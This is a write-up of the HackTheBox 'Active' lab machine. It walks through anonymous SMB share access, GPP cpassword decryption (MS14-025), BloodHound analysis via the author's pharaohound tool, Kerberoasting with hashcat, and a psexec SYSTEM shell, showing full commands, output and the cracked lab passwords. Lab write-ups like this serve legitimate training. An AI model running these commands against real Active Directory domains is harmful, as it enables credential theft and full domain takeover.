2026-08-06·HackTheBox·Machine·20 min

Active — HackTheBox Machine Writeup

EasyActive Directory Windowsretired

Active DirectorySMBGPPKerberoastingpharaohoundDomain Admin

Exploit_Kill_Chain

4 Phases

01Anonymous SMB Share & SYSVOL Replication Walk

Analysis

Anonymous SMB connection to the Replication share exposes policy XML files. Path traversing into SYSVOL policy GUID {31B2F340-016D-11D2-945F-00C04FB984F9} uncovers Groups.xml containing an encrypted cpassword.

Tools:smbmapsmbclientnmap

02GPP Decryption & Service Account Compromise

Vulnerability

Exploiting MS14-025, the Group Policy Preferences AES-256 key (disclosed by Microsoft) decrypts the cpassword in Groups.xml, granting valid credentials for the SVC_TGS service account.

Tech:MS14-025 GPP cpassword Decryption

Tools:gpp-decryptcrackmapexec

03Automated Graph Analysis via pharaohound

AD Recon

Dumping domain graph metrics with bloodhound-python and processing them through our custom tool pharaohound. It instantly prioritizes Kerberoasting for the Administrator account with zero Neo4j database overhead.

Tech:Graph Enumeration & Attack Path Ranking

Tools:bloodhound-pythonpharaohound

04Kerberoasting & Domain Admin Compromise

Exploitation (Flag)

Requesting a TGS ticket for active/CIFS:445 (Administrator SPN) via GetUserSPNs. Offline GPU cracking with hashcat recovers Ticketmaster1968 in 38 seconds, granting Domain Admin access via impacket-psexec.

Tools:GetUserSPNshashcatpsexec

Tool of Choice: All Active Directory graph parsing and attack-path detection in this walkthrough was executed using pharaohound — our high-performance BloodHound JSON analysis engine & AD collection framework. It eliminates the heavy Neo4j GUI stack and instantly surfaced Kerberoasting as the #1 priority attack vector.

Initial Inspection — Reconnaissance

::Host Discovery & DNS Configuration

Map the domain controller hostname in /etc/hosts:

~ / bash

kali@htb:~$ echo "10.129.56.54 active.htb" | sudo tee -a /etc/hosts

::Full Port & Service Enumeration

We execute a high-speed full TCP port scan, followed by targeted service version detection:

~ / bash

kali@htb:~$ nmap -p- -T4 -Pn 10.129.56.54 -oN scans/all-ports.txt

~ / bash

kali@htb:~$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001 \

-sC -sV -T4 -Pn 10.129.56.54 -oN scans/services.txt

Service scan results — the DC fingerprint

::Exposed Service Profile

Port	Service	Role / Significance
88	Kerberos	Authentication server — primary Kerberoasting target
139 / 445	SMB	Server Message Block — anonymous share access
389	LDAP	Lightweight Directory Access Protocol (`active.htb`)
3268	Global Catalog	Multi-domain AD directory queries

And we talk about this section in our Active Directory Cheatsheet, detailing standard service signatures for Windows Server 2008 R2 SP1 Domain Controllers.

Extracting the GPP Password (SMB & SYSVOL)

Testing null session authentication across SMB shares using smbmap:

~ / bash

kali@htb:~$ smbmap -H 10.129.56.54

Disk Permissions

---- -----------

ADMIN$ NO ACCESS

C$ NO ACCESS

IPC$ NO ACCESS

NETLOGON NO ACCESS

Replication READ ONLY ← Readable without authentication!

SYSVOL NO ACCESS

Users NO ACCESS

Key Observation: The Replication share allows anonymous read access. This share acts as a DFS-R mirror of SYSVOL across domain controllers, hosting Group Policy Objects (GPOs) and preference configurations.

::Locating Groups.xml

We traverse the Replication share for XML configuration files under the Default Domain Policy GUID {31B2F340-016D-11D2-945F-00C04FB984F9}:

~ / bash

kali@htb:~$ smbclient //10.129.56.54/Replication -N -c 'recurse ON; prompt OFF; ls' | grep -a Groups.xml

Downloading Groups.xml:

~ / bash

kali@htb:~$ smbclient //10.129.56.54/Replication -N -c \

'cd active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups; get Groups.xml'

::Decrypting cpassword (MS14-025)

The Groups.xml file contains an embedded encrypted cpassword attribute for active.htb\SVC_TGS:

~ / xml

<?xml version="1.0" encoding="utf-8"?>

<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"

name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06"

uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">

<Properties action="U" newName="" fullName="" description=""

cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0"

userName="active.htb\SVC_TGS"/>

</User>

</Groups>

Vulnerability Deep-Dive (MS14-025): Group Policy Preferences stored passwords in SYSVOL encrypted with AES-256-CBC. However, Microsoft published the 32-byte AES key publicly in official documentation. Using gpp-decrypt instantly recovers the plaintext.

~ / bash

kali@htb:~$ gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

GPPstillStandingStrong2k18

Harvested Account Credentials:

~ / text

Domain: active.htb

User: SVC_TGS

Password: GPPstillStandingStrong2k18

::Credential Validation

We verify the credential set against SMB using crackmapexec:

~ / bash

kali@htb:~$ crackmapexec smb 10.129.56.54 -u SVC_TGS -p 'GPPstillStandingStrong2k18' -d active.htb

SMB 10.129.56.54 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18

::user.txt Capture

~ / bash

kali@htb:~$ smbclient //10.129.56.54/Users -U 'active.htb/SVC_TGS%GPPstillStandingStrong2k18' \

-c 'cd SVC_TGS\Desktop; get user.txt'

kali@htb:~$ cat loot/user.txt

HTB user flag

••••••••••••••••••••••••••••••••[ Click to reveal flag ]

AD Analysis with pharaohound

::Collecting the Domain Graph

With valid service account credentials, we dump the Active Directory graph metrics using bloodhound-python:

~ / bash

kali@htb:~$ bloodhound-python -u SVC_TGS -p 'GPPstillStandingStrong2k18' \

-d active.htb -ns 10.129.56.54 -c All

~ / text

INFO: Found 1 domains

INFO: Found 1 computers

INFO: Found 5 users

INFO: Found 41 groups

INFO: Found 2 gpos

INFO: Found 1 ous

INFO: Querying computer: DC.active.htb

INFO: Done in 00M 35S

::Rapid Analysis via pharaohound

And we now can use our tool pharaohound because of fast execution, zero Neo4j database setup overhead, and instant attack-path prioritization. We pass the generated JSON files directly into pharaohound:

~ / bash

kali@htb:~$ pharaohound bloodhound/ -o pharaohound-report/ --all --no-color

pharaohound analysis — Kerberoastable user flagged as Priority #1

~ / text

[CRITICAL] KERBEROASTABLE USERS

Summary: Found 1 accounts with SPNs (1 in high-value groups)

Action: User has an SPN — Kerberoastable

Command: impacket-GetUserSPNs <DOMAIN>/<DOMAIN_USER>:<PASSWORD> -request -dc-ip <DC_IP>

[Priority #1] [CRITICAL] IMMEDIATE — Kerberoasting

Vulnerable Condition: Request TGS tickets for SPN-enabled accounts and crack them

offline. Focus first on high-value group members.

Action Command: impacket-GetUserSPNs ... -request -dc-ip <DC_IP> -outputfile hashes.txt

Alternative Command: hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Path 1: Kerberoast → Crack → ADMINISTRATOR@ACTIVE.HTB [OpSec: LOW]

Why pharaohound accelerates AD engagements: Instead of manually querying LDAP or navigating complex Neo4j Cypher graphs, pharaohound parsed all 7 BloodHound JSON files in milliseconds. It automatically identified that the account Administrator had an active SPN (active/CIFS:445) and flagged it as Priority #1 Kerberoasting Target.

Kerberoasting — The TGS Trapdoor

::Ticket Extraction

Any valid domain user can request a Kerberos Ticket Granting Service (TGS) ticket for any account with a Service Principal Name (SPN). Because TGS tickets are encrypted with the target account's NTLM hash, we can crack them offline.

And we talk about this section in our Active Directory Cheatsheet, outlining TGS ticket mechanics and hashcat modes.

We request the TGS ticket for Administrator using impacket-GetUserSPNs:

~ / bash

kali@htb:~$ impacket-GetUserSPNs -request active.htb/SVC_TGS:'GPPstillStandingStrong2k18' \

-dc-ip 10.129.56.54 -outputfile loot/kerberoast_hashes.txt

TGS ticket captured for the Administrator SPN

~ / text

ServicePrincipalName Name MemberOf PasswordLastSet

-------------------- ------------- ------------------------------------- -----------------

active/CIFS:445 Administrator CN=Group Policy Creator Owners,... 2018-07-18 19:06:40

Captured TGS hash snippet (Kerberos 5 TGS-REP etype 23):

~ / text

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$415486e95bd8caec0c7bcecd92e4c138$4aea95f2...

::Offline GPU Cracking

Cracking the hash using hashcat in Kerberos 5 TGS-REP mode (13100):

~ / bash

kali@htb:~$ hashcat -m 13100 loot/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force -O

~ / text

Started: Thu Aug 6 02:30:52 2026

Stopped: Thu Aug 6 02:31:30 2026 (38 seconds)

$krb5tgs$23$*Administrator$ACTIVE.HTB$...:Ticketmaster1968

Recovered Administrator Credentials:

~ / text

Domain: active.htb

User: Administrator

Password: Ticketmaster1968

Proof of Verification & Flag Capture

::Domain Admin Validation

We confirm Administrator privileges across SMB:

~ / bash

kali@htb:~$ crackmapexec smb 10.129.56.54 -u Administrator -p 'Ticketmaster1968' -d active.htb

SMB 10.129.56.54 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

The (Pwn3d!) indicator confirms local administrative control on the Domain Controller, translating to full Domain Admin authority across active.htb.

::SYSTEM Shell via PsExec

Executing remote code with impacket-psexec:

~ / bash

kali@htb:~$ impacket-psexec active.htb/Administrator:'Ticketmaster1968'@10.129.56.54

[*] Requesting shares on 10.129.56.54.....

[*] Found writable share ADMIN$

[*] Uploading file fASujHJO.exe

[*] Creating service JfWe on 10.129.56.54.....

[*] Starting service JfWe.....

C:\Windows\system32> whoami

nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

::Root Flag

HTB Root Flag

••••••••••••••••••••••••••••••••[ Click to reveal flag ]

References

sharepost share

▸about the author

Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

github medium linkedin

// end of writeup — return /writeups

Active — HackTheBox Machine Writeup

Initial Inspection — Reconnaissance

::Host Discovery & DNS Configuration

::Full Port & Service Enumeration

::Exposed Service Profile

Extracting the GPP Password (SMB & SYSVOL)

::Anonymous Share Enumeration

::Locating Groups.xml

::Decrypting cpassword (MS14-025)

::Credential Validation

::user.txt Capture

AD Analysis with pharaohound

::Collecting the Domain Graph

::Rapid Analysis via pharaohound

Kerberoasting — The TGS Trapdoor

::Ticket Extraction

::Offline GPU Cracking

Proof of Verification & Flag Capture

::Domain Admin Validation

::SYSTEM Shell via PsExec

::Root Flag

References